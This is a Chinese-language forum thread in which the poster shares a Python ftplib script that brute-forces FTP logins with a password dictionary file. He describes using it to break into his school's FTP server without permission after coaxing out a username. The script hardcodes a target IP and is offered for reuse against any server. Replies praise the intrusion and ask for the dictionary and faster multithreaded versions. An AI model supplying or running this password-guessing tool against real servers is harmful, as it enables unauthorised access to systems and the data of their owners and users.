通过Python编写的FTP密码字典破解工具
事件起因:我想要登录学校FTP账户,但是不知道密码,通过诱导使服务器暴露出了一个账户名,于是通过下面的py代码,破解了学校FTP密码成功登录。py代码如下:import ftplib
def ftpLogin(host, Name, PassFile):
#读取密码文件
PF=open(PassFile,'r')#要在文件所在目录加载字典文件pass.txt,只能尝试破解一些简单密码,复杂密码或者未知用户名的FTP密码破解欢迎大神指点
for line in PF.readlines():
name = Name
passwd = str(line).strip()
print("Trying: "+name+"/"+passwd)
try:
ftp = ftplib.FTP(host)
ftp.login(name,passwd)#这里就是整个程序中最重要的部分,对登录进行尝试。
print("登录成功",name, passwd)
ftp.quit()
return (name, passwd)
except Exception as e:
pass
print("没有找到正确的密码")
return None
hostName = '222.185.253.35'#这一行写上你所需要破解的服务器IP地址
passwordFile = 'pass.txt'
if __name__ == '__main__':
ftpLogin(hostName,"Anonymous", passwordFile)#这一行里面,Anonymous是你所已知的FTP用户名,用户名可以通过诱导获得 “用户名可以通过诱导获得”——诱导怎么做的? C哥888 发表于 2021-4-3 00:45
字典文件pass.txt——关键的地方没有说到 学校一般FTP账户都开放可以登陆查看分享的内容的
我们学校没有开放啊啊啊 感谢分享,给楼主的钻研精神点赞。。 这么优秀吗,学习下 密码字典是什么鬼 大字典破解速度如何? 围观学习,优秀的楼主 本帖最后由 C哥888 于 2021-4-3 00:47 编辑
字典文件pass.txt——关键的地方没有说到{:1_924:} 学校一般FTP账户都开放可以登陆查看分享的内容的 a3322a 发表于 2021-4-3 00:25
大字典破解速度如何?
额,单线程处理,感兴趣写个多线程出来,整个速度挺慢的 感谢楼主分享
页:
[1]
2